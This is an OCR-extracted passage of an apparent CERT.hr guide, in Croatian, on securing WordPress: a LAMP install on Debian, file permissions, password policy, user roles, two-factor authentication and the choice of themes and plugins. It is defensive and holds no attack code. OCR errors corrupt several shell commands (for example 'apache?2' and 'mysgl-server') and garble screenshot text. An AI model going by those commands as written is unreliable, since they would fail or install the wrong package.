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i obradbu informacija Fakulteta elektrotehnike i racunarstva Sveucilista u Zagrebu.
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1 Uvod

Wordpress je ve¢ dugo vremena najpopularniji sustav za upravljanje sadrZajem (engl.
Content Management System, CMS) na webu.

Karakteristike ovakvih sustava su da svojim korisnicima omogucavaju vrlo jednostavnu i
brzuizradu web stranica i aplikacija - korisnik ne mora ovladati znanjima o tehnologijama
potrebnim za izradu web stranice, ve¢ na jednostavnom grafickom sucelju slaZe graficke
elemente i unosi sadrzaj koji Zeli prikazati. Wordpress zatim u pozadini pretvara uneseni
sadrZaj i odabrani dizajn stranice u HTML/CSS/]S/PHP kéd.

Cak i onaj tko nikad nije napisao niti jednu liniju HTML koda (koji je osnova svake web
stranice) moci Ce razviti i odrZavati stranicu izradenu u Wordpressu.

Ovakvi sustavi znatno su povecali dostupnost izrade web stranica pojedincima i
poduzecima - odjednom je svatko mogao brzo i besplatno izraditi blog ili jednostavnu web
stranicu. Iako je nastao kao alat za blogove, ve¢ neko vrijeme je moguce izraditi i
naprednije web aplikacije poput online trgovine (engl. webshop), news portala, forumai sl.

Kao Sto je prikazano na slici 1, istrazivanje tvrtke W3Techs pokazalo je da je 41.7%
stranica na webu izradeno u Wordpressu Sto ga ¢ini najceSc¢e koriStenim sustavom za

upravljanje sadrZajem (1).
Mone — 35.8%

WordPress

64.9%
Shopify
Joomla
Squarespace
Wix

Drupal

Bitrix

M absolute usage percentage HM market share

Percentages of websites using various content management systems

Slika 1 Wordpress je najkoristeniji CMS (1)

Upravo zbog svoje Siroke dostupnosti, WordPress je u zadnje vrijeme Cesta meta napadaca
i povezuje ga se s ozbiljnim napadima koji imaju drasti¢ne posljedice poput udaljenog
izvrSavanja koda, otimanja korisnickih racuna ili Sifriranja posluzitelja (2) (3) (4) (5).
Svrha ovog dokumenta upoznati je korisnike, prvenstveno administratore WordPress
stranica, o naj¢es¢im prijetnjama, napadima i mehanizmima zastite.
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2 Sigurna instalacija i konfiguracija WordPressa

Ispravna instalacija, konfiguracija i koriStenje WordPressa preduvjet su za
minimiziranje sigurnosnih rizika i opisani su u nastavku ovog dokumenta.

Instalacija WordPressa vrlo je jednostavna, ali preduvijet je imati:

e instaliran, aZuriran i sigurno konfiguriran posluziteljski softver NGINX ili Apache
HTTP (viSe detalja o sigurnoj konfiguraciji dostupno je u dokumentu Nacionalnog
CERT-a Apache HTTP posluzitelj)

e instaliranu aZuriranu verziju programskog jezika PHP i
e instaliran aZurirani sustav za upravljanje bazama podataka MySQL ili MariaDB.

Wordpress ¢e podrZati rad i s neazZuriranim/starijim inaicama nabrojanog softvera, ali to
se nikako ne preporuca iz sigurnosnih razloga. Naime, nijedan softver nije savrsen, ve¢
sadrzi pogreske u kddu koje mogu biti sigurnosne ranjivosti kojih ni proizvodac u
trenutku objavljivanja softvera nije svjestan. Svako novo aZuriranje softvera poboljSanje
je prethodnog kdda ispravljanjem tih pogresaka i zato je bitno redovito aZurirati softver.

Dodano, bitno je pratiti pruza li proizvodac softvera odrZavanje, jer se inate ne moze
racunati na sigurnosne zakrpe. Promotrimo na primjeru zasto ne bismo smjeli koristiti
inacicu programskog skriptnog jezika PHP stariju od 7.3:

1)an 2018 1)an 2019 1Jan 2020 1]an 2021 1Jan 2022 1)an 2023 1]an 2024 1Jan 2025

T4
8.0

Key

Active A release that is being actively supported. Reported bugs and security issues are fixed and regular point releases
support are made.

Security
fixes only

End of life A release that is no longer supported. Users of this release should upgrade as soon as possible, as they may be
exposed to unpatched security vulnerabilities.

Slika 2 Podrska za razne verzije PHP programskog skriptnog jezika (6)

A release that is supported for critical security issues only. Releases are only made on an as-needed basis.

Na sluzbenoj stranici PHP-a navedeno je da inacice 7.2, 7.1, 7.0 i 5.6 viSe nisu podrZane i
da se za njih viSe nece objavljivati sigurnosne zakrpe. lako ¢e WordPress podrzavati
koristenje PHP 7.2., treba izbjeci njegovo koriStenje i ¢im prije se prebaciti na neku
podrzanu inacicu.
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Instalacija ¢e se demonstrirati na Linux distribuciji Debian 10 (Buster), Sto ¢e skupa s
ostatkom potrebnog softvera ¢initi snaznu i popularnu LAMP arhitekturu (Linux + Apache
+ MariaDB/MySQL + PHP).

Kad je rije¢ o sigurnoj instalaciji softvera, obi¢no je preporuceni nacin instalacije iz
sluzbenog repozitorija koriStene Linux distribucije. Na taj na¢in moZemo biti sigurni da
smo preuzeli ispravan softver iz pouzdanog izvora, a olakSano je i njegovo redovito
azuriranje.

Neovisno o nacinu instalacije Wordpressa i ostalog potrebnog softvera,
administrator mora preuzeti odgovornost za redovito aZuriranje dostupnim
sigurnosnim zakrpama (engl. security patches).

Posluziteljski softver Apache iz sluzbenog repozitorija instalira se naredbama:
$ sudo apt update

$ sudo apt install apache2

Nakon toga se provjerava status i, ako Apache nije ve¢ automatski pokrenut, pokrece:
$ sudo systemctl status apache?2

$ sudo systemctl start apache?

Tradicionalno je dio LAMP arhitekture sustav za upravljanje bazama podataka (engl.
Database Management System) bio MySQL, ali u zadnje vrijeme neke distribucije Linuxa
(poput Debiana 10) i softversko okruZenje XAMPP su se prebacile na njegovu
kompatibilnu alternativu otvorenog koda naziva MariaDB.

MariaDB je nastala od posljednje dostupne inacice otvorenog kéda MySQL-a (prije no $to
je njegov vlasnik postala tvrtka Oracle) i nastavila se razvijati kao zaseban proizvod. Iza
njenog odrZavanja stoji zajednica kojoj se svatko moze prikljuciti, tzv. MariaDB
Foundation. Na taj nacin nastavljeno je njegovanje ideje slobodnog i otvorenog softvera
kojem svatko moZe pridonijeti, Sto je MySQL prestao biti jer, iako je i dalje besplatan, na
njegovom razvoju sad iskljucivo radi tvrtka Oracle.

MariaDB instalira se naredbom:

$ sudo apt install mariadb-server

Cinjenica da se Debian prebacio na Koristenje MariaDB umjesto MySQL znaéi da ¢e se
MariaDB podrazumijevano instalirati kao sustav za upravljanje bazama podataka c¢ak i
ako se unese naredba za instalaciju MySQL-a:

$ sudo apt install mysgl-server
MySQL i MariaDB su kompatibilni, koriste istu definiciju tablica i jedan se lako mozZe

zamijeniti drugim. Naravno, i dalje se moZe inzistirati na preuzimanju MySQL-a ako su
potrebne neke njegove karakteristi¢ne funkcionalnosti.
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Nakon S$to se instalira MariaDB, potrebno je poduzeti sljede¢e korake kako bi se
WordPress sigurnosno ojacao:

e ukloniti korisnika anonymous

e onemoguciti udaljenu prijavu za korisnika root

e ukloniti testnu bazu podataka naziva test

e ponovno ucitati tablicu s informacijama o privilegijama

Na Linux distribucijama dostupna je skripta mysql secure installation/mariadb-
secure-installation Kkoja Ce automatizirano obaviti sve ovdje navedene korake i
sigurno instalirati sustav za upravljanje bazama podataka MySQL, odnosno MariaDB.

Potrebno je instalirati i PHP programski jezik koji Ce se izvrSavati na posluzitelju. Kako bi
Wordpress uspjesno funkcionirao, potrebno je, uz PHP, instalirati i joS neke dodatne
softverske pakete usko vezane uz PHP, takozvane ekstenzije. Npr. kako bi PHP mogao
komunicirati s MySQL/MariaDB bazom podataka, potrebno je instalirati ekstenziju naziva
php-mysql. Sljede¢om naredbom instalirat ¢e se svi nuZni PHP softverski paketi potrebni
za instalaciju i koriStenje Wordpressa:

$ sudo apt install php php-mysgl php-curl php-gd php-
mbstring php-xml php-xmlrpc libapache2-mod-php

[ na kraju, slijedi instalacija samog Wordpressa. Prije instalacije, poZeljno je jo$ jednom
ponovno pokrenuti posluZiteljski softver Apache kako bismo bili sigurni da su sve
promjene primijenjene.

lako se moZe preuzeti i instalirati sa sluzbenog repozitorija ve¢ine Linux distribucija, za
demonstraciju ¢emo prikazati instalaciju preuzimanjem arhive sa svim potrebnim
datotekama za instalaciju.

Nakon $to se pozicioniramo u korijensku web mapu /var/www/html/, unosimo naredbu
koja ¢e u nju preuzeti instalacijske datoteke:

$ sudo curl -O https://wordpress.org/latest.tar.gz

Preuzimanje naredbom curl ekvivalentno je tome da smo u web pregledniku posjetili
navedenu web stranicu i preuzeli arhivu. Arhiva se zatim raspakira naredbom:

$ sudo tar -xvf latest.tar.gz

To ¢e rezultirati novom mapom naziva wordpress u koju Ce biti raspakirane sve
konfiguracijske datoteke.

Vlasnistvo nad wordpress mapom treba dodijeliti karakteristicnom korisniku www-data
pod kojim je pokrenut i HTTP posluziteljski softver:

$ sudo chown -R www-data:www-data /var/www/html/wordpress
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Iz sigurnosnih je razloga korisno i pazljivo dodijeliti dopuStenja nad mapama i
datotekama koja se nalaze u mapi wordpress. Primjer pametne dodjele minimuma
potrebnih dopustenja bio bi:

$ sudo find /var/www/html/wordpress/ -type d -exec chmod 750 {} \;

$ sudo find /var/www/html/wordpress/ -type f -exec chmod 640 {} \;

U navedenom primjeru korisnik www-data (koji je vlasnik mape wordpress) moci ce
pristupiti mapi wordpress i svim mapama unutar nje, izlistati sadrzaj svake mape i
preimenovati, brisati ili dodavati datoteke i direktorije u svakoj mapi. Grupa kojoj se
dodijeli pravo nad mapom wordpress moci ¢e samo pristupati mapama i gledati njihov
sadrzaj. Nijedan drugi korisnik (izuzev navedenih) nema nikakvo dopustenje nad mapom,
tj. nece im modi pristupiti.

Isto tako, kad su u pitanju datoteke, korisnik www-data mocéi ¢e Citati i pisati u
(konfiguracijske) datoteke koje se nalaze unutar mape wordpress, ali ih ne¢e moci izvrsiti.
Grupa kojoj su dodijeljena prava nad mapom wordpress moci Ce Citati datoteke, a nitko
drugi nece imati pravo pristupa datotekama.

Prije instalacije Wordpressa, ponovno pokrec¢emo Apache:

$ sudo systemctl restart apache?2

Wordpress se zatim instalira putem web preglednika. Unosimo IP adresu ili domenu
posluZitelja (ako smo instalirali Wordpress na isto ra¢unalo s kojega mu pristupamo, to je
localhost). Vidljiv je izlistan sadrzaj mape var/www/html koja je korijenski web direktorij.
U konfiguracijskim postavkama Apache posluZitelja moZe se definirati da korijenski web
direktorij bude var/www/html/wordpress i tad bismo odmah (¢im bismo pristupili
posluzitelju) zapoceli s instalacijom Wordpressa. U ovom slucaju prvo ¢emo morati
odabrati mapu wordpress koja je prikazana na slici 3.

@ Indexof/ x 4+
&€ > C @ Notsecure | 192.168.56.101 % Sl = ©® O

Index of /

Name Last modified Size Description

@ testphp  2020-01-16 11:22 20
aword]gress 2017-12-01 00:11

Apache’2.4.38 (Debian) Server at 192.168.56.101 Port 80

Slika 3 Sadrzaj korijenskog web direktorija na posluZitelju

Tokom instalacije u jednom ¢e trenutku biti potrebno unijeti korisni¢ko ime i lozinku, kao
Sto je prikazano na slici 4. Kako bi se sprijecila kompromitacija racuna, potrebno je
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postaviti sigurnu lozinku. Nesigurnim lozinkama smatraju se jednostavne, ¢este lozinke
koje napadaci lako mogu pogoditi napadima uzastopnog isprobavanja lozinki (engl. brute-
force attack) ili koriStenjem nekog rjecnika s popisom cCestih lozinki (engl. dictionary

attack). Kako bi se to izbjeglo, lozinka treba slijediti sljede¢a pravila:

e lozinke se moraju sastojati od 10 ili viSe znakova,

e lozinke moraju koristiti znakove iz vise razli¢itih skupova znakova (mala slova,

velika slova, brojevi, simboli),

e lozinke se ne smiju primarno sastojati od neke rije¢i iz rjecnika, imena ili
prezimena korisnika (ili varijacije), korisnickog imena, rije¢i vezane uz

aplikaciju/posluzitelj/servis i sli¢no (npr. wordpress123),

¢ lozinke trebaju biti jedinstvene (ne smije se Koristiti ista lozinka na viSe mjesta),

¢ lozinka ne smije biti neka od opcenito Cesto koriStenih lozinka; to je primjerice

moguce provjeriti pomocu usluge "Pwned Passwords"

Kako bi se olaksalo koriStenje jedinstvenih i sigurnih lozinki, moguce je Kkoristiti tzv.
upravitelje lozinkama (eng. password managers). ViSe informacija o upraviteljima

lozinkama dostupno je u dokumentu Nacionalnog CERT-a KeePass.

Site Title

Username

Password

Your Email

Search Engine
Visibility

Install WordPress

Information needed

Flease provide the following information. Don't worry, you can always change these settings later.

Web stranica

korisnik’
Usernames can have only alphanumeric characters, spaces, underscores, hyphens,
periods, and the @ symbol.

Medium

Important: You will need this password to log in. Please store it in a secure
location

korisnik@mail.com

Double-check your email address before continuing.

Discourage search engines from indexing this site

It is up to search engines to honer this reguest.

Slika 4 Popunjavanje osnovnih podataka o stranici i administratoru
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3 Sigurno koristenje Wordpressa

Nakon uspjeSne instalacije WordPressa, prijavljujemo se prethodno definiranim
korisnickim imenom i lozinkom.

Nakon prijave bit ¢emo preusmjereni na WordPressovo upravljacko sucelje (engl.
Dashboard) s kojeg moZemo, s administratorskim ovlastima, upravljati novostvorenom
web stranicom i njenim korisnicima (sl. 5). Tu se nalaze sve glavne funkcionalnosti i
kontrole potrebne za upravljanje stranicom.

= O x
@ Dashboard « Web stranica — W X +
&« C @ Notsecure | 192.168.56.101/wordpress/wp-admin/ Q % S = © e :
\f;‘- # Webstranica B =+ New Howdy, konisnik1 .
Screen Options ¥ Help *
) iz Dashboard
Home
Updates Jismiss
= Welcome to WordPress! € Dismiss
We've assembled some links to get you started
A Posts
C.l: Media Get Started MNext Steps More Actions
B pages K wiite your first blog post B Manage widgets
Customize Your Site
¥ Comments + Add an About page E Manage menus
or, change your theme completely & Set up your homepage B3 Turn comments on or off
# Appearance
B view your site ™ Learn more about getting started
¢ Plugins
s Users
# Tools At a Glance = Quick Draft B
Settings A 1 Post M 1Page Title
O o P 1 Comment
WordPress 5.3.2 running Twenty Twenty theme, Content
What's on your mind?
Activity N
Recently Publishad
Today, 11:22 am Hello world!
Recent Comments
From A WordPress C e WordPress Events and News a
rom A YordarFress Lommenter ol ello world!
@ Hi, this is a comment. To get started with moderating, .
editing, and deleting comments, please visit the Comments Attend an upcoming evant near you. g
SCrEEn M.
== 6th Zagreb WordPress Meetup Thursday, Jan 30, 2020
Zagreb, Croatia 6:00 pm
All{1) | Mine (0) | Pending (0) = Approved (1) | Spam (0) | Trash (0) § WordCamp Vienna, Europe Saturday, Feb 15, 2020
Vienna, Europe
‘WordPress Leaders Nominated for ChX Awards i

Slika 5 Upravljacko sucelje

3.1 Redovito aZuriranje WordPressa i povezanog softvera

Redovito azuriranje WordPressa i povezanog softvera (posluZiteljskog softvera,
baze podataka, tema, dodataka...) vrlo je bitan korak u osiguravanju stranice.

Naime, WordPress, kao i sav postojeci softver, nije savrSen, ve¢ postoje pogreske u kodu
kojih proizvodac u trenutku objave softvera nije svjestan, a koje mogu biti ranjivost preko
koje napada¢ moZe napasti stranicu i njene korisnike.
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Iz tog razloga proizvodaci softvera redovito izdaju sigurnosne zakrpe (engl. security
patches) kojima ispravljaju pogreske, a koje bi korisnici softvera trebali ¢im prije
instalirati i primijeniti.

Neovisno na koji nacin je WordPress instaliran (iz sluZbenog repozitorija, preuzimanjem
.zip arhive...), administrator stranice mora preuzeti i ozbiljno shvatiti odgovornost
njegovog redovitog aZuriranja. Isto vrijedi i za sve koriStene teme (vidi 3.3) i dodatke koji
su takoder podloZni ranjivostima.

Na zaglavlju upravljackog sucelja (sl. 6) prikazane su obavijesti o dostupnim aZuriranjima,
upozorenja i obavijesti. Dostupna aZuriranja trebalo bi ¢im prije primijeniti.

W @& My WordPress Site

*. zaglavljei
@ Dashboard
Dashboard alatna traka

Slika 6 Administratorska alatna traka

Informacija o trenutnoj inacici WordPressa u svakom trenutku vidljiva je u podnozju (engl.
footer) stranice.

podnoije

; —

\

Slika 7 PodnoZje upravljackog sucelja

fes]

lako mnogi administratori WordPress stranica odgadaju aZuriranje jer se boje problema s
postoje¢im funkcionalnostima na stranici, Stetu koja moZe nastati kao posljedica
uspjesnog napada moZe biti znatno teZe sanirati.

3.2 Otezavanje/onemogucavanje napada na korisnicke racune

Najc¢eS¢i napadi na WordPress stranice dogadaju se preko ranjivih dodataka (engl.
plugins), ali odmah za njima slijede napadi na korisnicke racune.

Napadi na korisnicke racune opcenito su jedni od najzastupljenijih napada na web
stranice. Jednom kad napadac uspjesno preuzme (,hakira® ,provali u“) korisnicki racun
nekog korisnika, moZe obaviti sve aktivnosti na stranici koje moze i korisnik.

Preuzimanje korisni¢ckog racuna posebice je opasno kad je rije¢ o raCunima visoko
privilegiranih korisnika (npr. administrator) i oni se moraju dodatno zastititi.

Jedan uobicajen scenarij napada na WordPress stranicu i njene korisnike koji se oslanja na
preuzimanje tudeg korisnickog racuna bio bi:
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1. Administrator je postavio korisnicko ime admin i primjerice nesigurnu lozinku
adminl23 za prijavu na stranicu.

2. Napadac¢ uspjesno pogada administratorove vjerodajnice i prijavljuje se na
stranicu. Napadac sad moZe napraviti na stranici sve Sto moZe i administrator, t;j.
ima administratorske ovlasti i moze ih zloupotrijebiti.

3. Napada¢ kompromitira dotad legitimnu stranicu dodavanjem zlonamjernog
JavaScript koda. Taj ¢e kdd napasti sve korisnike koji posjete stranicu i pokusati im
instalirati zZlonamjerni softver na racunalo.

Cak i ako bi napada¢ uspjesno provalio u racun slabije privilegiranog korisnika (npr.
editor), svejedno bi mogao izazvati Stetu jer bi u neku objavu mogao postaviti npr.
poveznicu na zlonamjernu stranicu.

Zbog navedenih rizika bitno je dodatno osigurati korisnicke racune.
3.2.1 Oprezno dodjeljivanje uloga korisnicima

Prilikom stvaranja novog korisnika, administrator mu moZe dodijeliti razli¢ite uloge
(engl. roles) koje imaju razlicite razine ovlasti na stranici (sl. 8):

e Administrator
- najveca razina ovlasti, mozZe pristupiti svemu i koristiti sve funkcionalnosti,

e Editor
- moze objavljivati i uredivati sve objave na stranici (i svoje i tude),

e Author
- moZe objavljivati i uredivati samo vlastite objave na stranici,

e Contributor
- moZe uredivati vlastite objave, ali ih ne moZe objaviti,

e Subscriber
- moZe samo uredivati svoj profil.

Postoji josS jedna uloga koja u stvari ima najvecu razinu privilegija, super administrator,
ali ona nije obavezna i koristi se kad se upravlja s viSe WordPress stranica.

Role | Administrator :|
Administrator R |
Subscriber
First Name Contributor
Author
Editor
Last Name — No role for this site —

Slika 8 Dostupne uloge s razli¢itim razinama ovlasti na WordPress stranici
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Na sliciSlika 9 prikazana je usporedba funkcionalnosti koje su dostupne administratoru,
editoru i subscriberu.

i MyWordPressSite O 3 P + New Edltor

@® Oashboard / Subscriber

A ste P + New

@ Dashboard

Posts

Posts 5 My WordPress Site
] Media
] Media
£ Links @ Dashboard
Links

Pages e Profile

o

Pages
Comments
Comments

Appearance
Profile

' Plugins @

Tools
Users

Tools
Administrator

Slika 9 Razlika u ponudenim funkcionalnostima razlic¢itim vrstama korisnika

Kako bi se osigurala stranica, svakom korisniku treba dati minimalnu razinu
ovlasti koja mu je potrebna za funkcionalno koristenje ili upravljanje stranicom.
Pritom se korisnike, a pogotovo one u ulozi administratora, treba , prisiliti“ (engl.
enforce) na postavljanje sigurne lozinke.

Treba izbjegavati dodjeljivanje administratorskih uloga korisnicima koji su slabije
educirani o informacijskoj sigurnosti ili ih se prethodno treba educirati o moguc¢im
napadima.

3.2.2 Prisiljavanje korisnika na postavljanje sigurne lozinke

lako WordPress upozorava korisnika da lozinka koju postavlja postaviti nije sigurna, nece
sprijeciti korisnika da takvu lozinku postavi.

Prilikom instalacije WordPressa administrator je mogao postaviti nesigurnu lozinku, a isto
tako to mogu napraviti i ostali korisnici. Korisnici mogu postaviti ¢ak i iznimno slabe
lozinke potvrdivanjem izjave ,Potvrdi koristenje slabe lozinke" kao Sto je prikazano na slici
10:

Account Management

K¢ Plugins
[
Users )
- New Password password123 @ Hide Cancel
All Users Very weak
Add New
Your Profile (Confirm Password v| Confirm use of weak password J

Slika 10 Korisniku je dozvoljeno postaviti iznimno slabu lozinku
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S obzirom da WordPress podrazumijevano dopusta postavljanje bilo kakve lozinke,
potrebno je instalirati neki dodatak za postavljanje politike sigurnih lozinki poput npr.
Password Policies Manager.

Nakon instalacije dodatka, mogu se postaviti sigurnosna pravila. Kao sto je prikazano na
slici 11, neka od tih pravila su minimalan broj znakova, obvezno koriStenje
velikih/malih/brojcanih/specijalnih znakova, vrijeme nakon kojeg je potrebno
promijeniti lozinku itd.

Password Policy Manager

Enable Password Policies v

Password Policies Passwords must be minimum 8 characters.

v'| Password must contain a mix of uppercase and lowercase characters.
v| Password must contain numeric digits { @-9 ).
v'| Password must contain special characters (eg: !@#5% 8% ()_?E"-4=n; 1€<> ).

Password Expiration Policy Passwords should automatically expire in 0 months ¥ .

Set to 0 to disable automatic expiration

Disallow old passwords on Don't allow users to use the last 1 passwords when they reset their password.

reset
The plugin will remember the last 1 password by default (minimum value: 1),

Slika 11 Konfiguriranje pravila za postavljanje lozinki koristenjem dodatka Password Policies
Manager

JoS neke korisne funkcionalnosti ovog dodatka su i:

e automatska izmjena lozinki svih korisnika stranice (u slu¢ajevima kad je stranica
uspjeSno napadnuta i brzo treba zastititi korisnicke racune). Ako se upotrijebi ova
opcija, svi Ce korisnici na adresu e-poSte kojom su se registrirali dobiti poruku s
poveznicom za ponovno postavljanje (engl. reset) lozinke,

e zakljucavanje raCuna svih neaktivnih korisnika nakon odredenog vremena
neaktivnosti (jer bi uspjeSan napad i preuzimanje njihovih racuna bilo vrlo tesSko
primijetiti).

Napomena: prilikom pokuSaja provaljivanja u racun, napada¢ mora pogoditi i korisnicko

ime ilozinku. Za dodatnu zastitu, moguce je postaviti i nepredvidivo korisnicko ime i time
napadacu dodatno otezati pogadanje vjerodajnica, no taj bi potez mogao legitimnim

Verzija 1.00 CERT.hr-PUBDOC-2021-6-402 stranica 13/ 29


https://mk0wpwhitesec1it7616.kinstacdn.com/wp-content/uploads/2018/10/wordpress_password_policies.png

C=RT.hr

korisnicima oteZati rad, pa ¢ak i smanjiti Zelju da uopce koriste sustav (npr. mogli bi imati
problema s pamc¢enjem korisnickog imena ako ono nema predvidljivi oblik).

3.2.3 Skrivanje stranice s obrascem za prijavu

Podrazumijevano je stranica s obrascem za prijavu (engl. login page) dostupna na nekoj
od sljedecih putanja:

- /wp-login.php
- /login

- /wp-admin

- /admin

Jednom kad pristupi obrascu za prijavu, napada¢ moZe krenuti s napadima uzastopnim
pokuSajima pogadanja lozinki (engl. brute-force attack). 1z tog razloga, sprjeCavanje da se
obrazac za prijavu nalazi na takvoj predvidivoj putanji moZe otezati napade.

lako se to moZe posti¢i konfiguracijom posluZiteljskog softvera, jednostavnije rjeSenje je
instalirati neki od dodataka poput npr. WPS Hide Login kojim korisnik moZe promijeniti
URL stranice za prijavu u bilo Sto drugo bez da se mora pokuSati sna¢i medu
konfiguracijskim datotekama.

Postoje i dodaci za opcenitu zastitu od napada uzastopnim pokusajima pogadanja lozinki
(npr. iThemes Security) koji ¢e prepoznati neuobicajen broj pokuSaja unosa razli¢itih
kombinacija lozinki i sprijeciti napadaca u daljnjem napadu.

3.2.4 Dvofaktorska autentifikacija

Dvofaktorska autentifikacija odnosi se na autentifikaciju ne samo lozinkom, vec
primjerice i jednokratnom lozinkom koja ¢e pristi¢i na korisnikovu adresu e-poste ili broj
mobilnog uredaja.

Pretpostavka je da napada¢ nema pristup korisnikovoj adresi e-poSte ili njegovom
mobilnom uredaju pa c¢ak i ako pogodi glavnu lozinku, ne¢e mo¢i saznati dodatnu,
jednokratnu lozinku koja mu je takoder potrebna za prijavu.

Vise informacija o dvofaktorskoj autentifikaciji nalazi se u dokumentu Nacionalnog CERT-
a: ,ViSefaktorska autentifikacija“.

Jedan od popularnih dodataka kojima se moZe ostvariti dvofaktorska autentifikacija je
Two-Factor i neke njegove moguc¢nosti prikazane su na slici 12:
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Enabled Primary Name

v Email

Authentication codes will be sent '.0_

Time Based One-Time Password (Google Authenticator)
Please scan the QR code or manually enter the key, then enter an authentication code from your app in

order to complete setup

PASWEGTVPVCCGZDTEQEVWZ TUGOWWERK)

Authentication Code: Submit

FIDO Universal 2nd Factor (U2F)

Requires an HTTPS connection. Configure your security keys in the "Security Keys" section below.

Backup Verification Codes (Single Use)

Generate Verification Codes 0 unused codes remaining.

M, P Dummy Method

Slika 12 Konfiguracija dodatka Two-Factor za dvofaktorsku autentifikaciju

3.3 Sigurnost tema i dodataka
Zajednostavnu izradu, a time i popularnost stranica u WordPressu zasluZni su:

e Dodaci WordPressu (engl. WordPress plugins)

Prava snaga WordPressa leZi u raznim dodacima na kojima se osnovna arhitektura
WordPressa i temelji. Za bilo koju funkcionalnost koja korisniku moze pasti na
pamet vjerojatno postoji dostupan dodatak kojeg je samo potrebno instalirati,
jednostavno konfigurirati i moze se poceti koristiti. Dodacima se moZe ugraditi
kontakt obrazac na stranicu, web stranica pretvoriti u online trgovinu, prikazivati
razne statistike (npr. razvijeni su dodaci za prikaz statistika zaraZenih virusom
COVID-19) itd. Postoje i besplatni i komercijalni dodaci.

e Teme (engl. themes)
Teme definiraju dizajn stranice. Postoje besplatne i komercijalne/premium teme.
Naprednije teme s viSe funkcionalnosti i unikatnim dizajnom preteZito su
komercijalne.

Stranicama je u pocetku dodijeljen genericki sadrzaj, tema (engl. theme), predlozak
rasporeda elemenata i nekoliko instaliranih, ali deaktiviranih dodataka.

Svi elementi stranice promjenjivi su u bilo kojem trenutku.
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Odabrana tema moZe se promijeniti klikom na stavku ,Appearance“ navigacijskog
izbornika upravljacke ploce. Novu se temu moZe odabrati i instalirati koracima koji su
prikazani na slikama 13 i 14.

\‘;\/ # Changing WordPress Themes <> 1 B 4+ New

@ Dashboard Themes o Add New Search installed themes

A Posts ,',E/

07 Media

| Pages

ONE OF THE TOP 10 MOST POPULAR
THEMES ON WORDPRESS.ORG

B Comments

s

' Appearance

FEATURES
Themes -

Customize
Widgets Active: Zerif Lite Customize

Menus

Hestia

Background

e | B B |

Slika 13 Dodavanje nove teme

Add Themes Upload Theme

o Featured  Popular  Latest  Favorites L+ Feature Filter astra

Details & Preview

Astra Install Preview

Slika 14 Instalacija nove teme

Teme se mogu pronaci i preuzeti s raznih izvora, od WordPress repozitorija pa sve do
raznih specijaliziranih stranica za teme. Ako se tema ne instalira iz WordPressovog
repozitorija, njena se ZIP arhiva moZe ucitati klikom na ,Upload Theme“ kao S$to je
prikazano na slici 15:
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Add Themef Upload Theme (

2751 Featured Popular Latest Favorites £+ Feature Filter Search the

WP iClean Responsive Alante X StoreXmas

Slika 15 Tipka za ucitavanje ZIP arhive teme
Postupak je jednak i za odabir i instalaciju dodataka.
Prilikom izbora i instalacije nove teme ili dodatka vrlo je bitno paziti da:

e su preuzeti s pouzdanog izvora (WordPressov repozitorij ili pouzdane
stranice)

¢ imaju podrsku za odrzavanje i redovito se aZuriraju
e nemaju javno dostupne ranjivosti

Piratske verzije premium tema ili dodataka treba izbjegavati ne samo zbog povrede
intelektualnog vlasnistva, ve¢ i zato Sto su takve teme i dodaci posebno rizi¢ni buduéi da
ne moZemo vjerovati da se u njima ne nalazi neki zlonamjerni kéd ili da nisu namjerno
ranjive. Prilikom preuzimanja sa sluzbenog WordPressovog repozitorija nacelno moZemo
vjerovati korisnickim recenzijama, ali i WordPressovim programerima koji su provjerili
softver prije no Sto su dopustili njegovo postavljanje na sluzbeni repozitorij. Kad su u
pitanju piratske teme, one dolaze iz sumnjivih i nepouzdanih izvora.

Cak i ako je piratska tema sasvim dobronamjerna i legitimna, ne moZemo znati hoée li se
odrZavati. Drugim rije¢ima, kad bismo Kkoristili piratske verzije WordPress tema s
neprovjerenih stranica, ne moZemo biti sigurni da ta tema ne sadrzi u najmanju ruku
ranjivosti zbog kojih stranica na koju je instaliramo moze postati Zrtva raznih napada
(npr. XSS, Cross-site scripting), a u najgorem sluCaju zlonamjerni softver koji ¢e
napasti/zaraziti nasu stranicu i njene korisnike.

Sve vel instalirane ranjive, piratske ili teme/dodatke iz nesigurnih izvora treba
deaktivirati i obrisati, a ubuduce je poZeljno instalirati teme/dodatke iskljucivo s
provjerenih izvora poput WordPressovog repozitorija ili uglednih provjerenih stranica
(npr. Themeforest, Themeisle itd). Zastarjele (engl. outdated) teme/dodatke koji viSe
nemaju podrsku i teme/dodatke koji se ne koriste takoder je potrebno ukloniti.
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Svi instalirani dodaci mogu se vidjeti odabirom stavke , Plugins“ navigacijskog izbornika
upravljacke ploce, a teme odabirom stavke ,Appearance”.

- - O X
@ Plugins < Web stranica — WordP' X +
& = (C (@ Notsecure | 192.168.56.101/wordpress/wp-admin/plugins.php Q ¥ S wm © e :
# Web stranica i 4 New Howdy, korisnikl .
} Dashboard Plu gl ns | Add New
. All(Z) | Inactive (2) Search installed plugins... |
| Bulk Actions v || Apply | 2 items
Pages [ Ppugin Description
Comments |:| Akismet Anti-Spam Used by millions, Akismet iz quite possibly the best way in the world to protect your bleg from spam. It
Activate Delete our site protected even while you sleep. To get started: activate the Akismet plugin and then go
ﬁ' Appearance to your Akismet Settings page to ==t up your AP key
. Wersion 4.1.3 | By Automattic | View details
& Plugins '
Installed Plugins |:| Hello Dolly This is not just a plugin, it sy izes the hope and enthusiasm of an entire gensraticn summed up in
Activate Delete twio words sung most famaou; Louis Armstrong: Hello, Delly. When you will randomly see
AL a lyric from Hello, Dally in the upper right of your admin screen on evel
Plugin Editor Wersion 1.7.2 | By Matt Mullenweg | View
o Users - . e
[l Plugin Description
#~ Tools
Bulk Actions w | | Apply | 2 items
Settings
Thank you for cregting with WordPress. Wersion 5.3.2 -

Slika 16 Sucelje za upravljanje dodacima

Ranjive teme i dodaci mogu predstavljati ranjivost preko koje napada¢ moze
napasti stranicu, njene korisnike, posluziteljski softver, i na kraju cijelo racunalo
(ako WordPress i posluzitelj nisu sigurno konfigurirani).

Ako nismo sigurni je li trenutna inacica WordPressa, dodatak ili tema koju koristimo
zlonamjerna ili ranjiva, neki od nac¢ina kojima to moZemo provjeriti (iako ne moZemo biti
u potpunost sigurni) su:

e stranica https://www.cvedetails.com/

- naovoj stranici nalazi se popis vecine javno poznatih ranjivosti. PretrazZivanjem
pojma ,WordPress“ moZemo vidjeti trenutno javno poznate ranjivosti i njihovu
kriti¢nost.

e stranica https://wpvulndb.com/

- naovoj stranici nalazi se popis ranjivih tema, dodataka i inaica WordPressa, te
